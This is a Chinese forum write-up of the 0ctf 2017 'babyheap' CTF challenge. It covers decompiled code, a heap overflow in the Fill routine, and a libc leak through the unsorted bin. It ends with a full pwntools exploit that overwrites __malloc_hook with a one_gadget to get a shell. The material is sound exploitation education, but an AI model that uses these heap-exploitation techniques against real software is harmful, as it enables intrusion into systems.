首页
论坛
课程
招聘
[原创]20170ctf babyheap
2018-10-20 12:58 4745

[原创]20170ctf babyheap

2018-10-20 12:58
4745

漏洞类型

堆溢出

程序逻辑结构

可怕,开了全保护。必须要泄露地址了。。。

1、allocate

for ( i = 0; i <= 15; ++i )    //从chunk_list开始遍历分配堆指针,最多16个chunk
  {
    if ( !*(_DWORD *)(24LL * i + chunk_list) )    //检查是否已分配
    {
      printf("Size: ");
      v2 = read_number();
      if ( v2 > 0 )    //不能是负数
      {
        if ( v2 > 4096 )    //最大4096字节
          v2 = 4096;
        v3 = calloc(v2, 1uLL);    //注意这里是用calloc分配,会把指针的内容先清零
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + chunk_list) = 1;    //in_use
        *(_QWORD *)(chunk_list + 24LL * i + 8) = v2;    //size
        *(_QWORD *)(chunk_list + 24LL * i + 16) = v3;    //ptr
/****************************/
结构如下:
        in_use    |    size
        ptr       |
/***************************/
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }

2、Fill

printf("Index: ");
  result = read_number();
  v2 = result;
  if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )
  {
    result = *(_DWORD *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = read_number();
      v3 = result;
      if ( (signed int)result > 0 )    //这里只简单检查了是否是负数,没有限定size的上限,因此存在堆溢出漏洞
      {
        printf("Content: ");
        result = input(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }

3、Free

printf("Index: ");
  result = read_number();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(_DWORD *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
/*************/
全都设置为零的,没毛病
/**************/
    }
  }

4、Dump

printf("Index: ");
  result = read_number();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。

利用思路

1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。

小知识

malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。

2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)

小知识

我们先看一段malloc.c的源码
if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))	//unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);					//将选中的chunk剥离出来,恢复unsortedbin
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。

3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。

具体过程

Step1:leak libc_base

allocate(0x48)#0
allocate(0x40)#1
allocate(0x40)#2
allocate(0x40)#3
update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size
delete(1)#put into unsortedbin

编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。

allocate(0x40)#chunk2 in unsordtedbin but in_use==1 
view(2)
ru('Content: \n')
leak_addr = uu64(r(6))    //&main_arena+88
success('leak_addr:'+hex(leak_addr))
libc_base = leak_addr - 88-0x3c4b20    //&main_arena - libc_base = 0x3c4b20固定偏题
success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。

Step2:trim malloc_hook

allocate(0x40)#4 clear unsortedbin place 2
update(4,0x40,'a'*0x40)
update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。

我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。

allocate(0x60)#5
delete(5)

fake_chunk = leak_addr - 88 - 0x2b- 8
payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk)    //padding + prev_size + size + fd
update(3,len(payload),payload)

allocate(0x60)#5
allocate(0x60)#6 fake_chunk
one_gadget = libc_base + 0x4526a
success('one_gadget:'+hex(one_gadget))
update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)

完整exp:
from pwn import *
#context.log_level='debug'
cn = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('./libc.so.6')
sl      = lambda data               :cn.sendline(str(data)) 
r       = lambda numb=4096          :cn.recv(numb)
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu64    = lambda data               :u64(data.ljust(8, '\0'))

def allocate(size):
	ru('Command: ')
	sl(1)
	ru('Size: ')
	sl(size)

def update(index,size,content):
	ru('Command: ')
	sl(2)
	ru('Index: ')
	sl(index)
	ru('Size: ')
	sl(size)
	ru('Content: ')
	sl(content)

def delete(index):
	ru('Command: ')
	sl(3)
	ru('Index: ')
	sl(index)

def view(index):
	ru('Command: ')
	sl(4)
	ru('Index: ')
	sl(index)
#leak libc_base
allocate(0x48)#0
allocate(0x40)#1
allocate(0x40)#2
allocate(0x40)#3
update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size
delete(1)#put into unsortedbin

allocate(0x40)#chunk2 in unsordtedbin but in_use==1 
view(2)
ru('Content: \n')
leak_addr = uu64(r(6))
success('leak_addr:'+hex(leak_addr))
libc_base = leak_addr - 88-0x3c4b20
success('libc_base:'+hex(libc_base))

allocate(0x40)#4 clear unsortedbin place 2
update(4,0x40,'a'*0x40)
update(2,0x10,'b'*0x10)
gdb.attach(cn)
raw_input()
#trim malloc_hook
allocate(0x60)#5
delete(5)

fake_chunk = leak_addr - 88 - 0x2b- 8
payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk)
update(3,len(payload),payload)
gdb.attach(cn)
raw_input()
allocate(0x60)#5
allocate(0x60)#6
one_gadget = libc_base + 0x4526a
success('one_gadget:'+hex(one_gadget))
update(6,0x13+8,'c'*0x13+p64(one_gadget))

allocate(0x10)
'''
one_gadget libc.so.6
0x45216
0x4526a
0xf02a4
0xf1147
'''
irt()

该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做 2018 0ctf babyheap 前先做这题,作为一个基础和铺垫。

[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回